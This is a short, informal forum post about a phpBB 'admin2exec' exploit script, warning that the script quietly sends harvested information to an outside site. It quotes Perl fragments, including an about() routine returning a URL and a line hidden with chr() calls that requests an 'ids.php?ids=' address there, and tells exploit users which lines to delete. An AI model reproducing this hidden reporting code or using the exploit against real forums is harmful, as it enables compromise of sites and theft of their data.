this exploits works, but it sends passwords to a defined site, using a background process
delete this lines so u wont see ur forum compromised(If u used this exploit without knowing that it sends info to a 3rd party site
| Code: |
So what to do to avoid sending info??
Delete tthe line showed below
sub about()
{
print "\\=-----------------------------------=/\r\n";
print "| phpBB admin2exec exploit by RST/GHC |\r\n";
print "| version 2 (user_sig_bbcode_uid) |\r\n";
print "/=-----------------------------------=\\\r\n";
return 'http://rst.void.ru'; ----- DELETE THIS LINE
}
And just to be sure delete this line too
$xpl->get(&about.'/'.chr(105).chr(100).chr(115).'/'.chr(105).chr(100).chr(115).'.php?ids='.$ids);
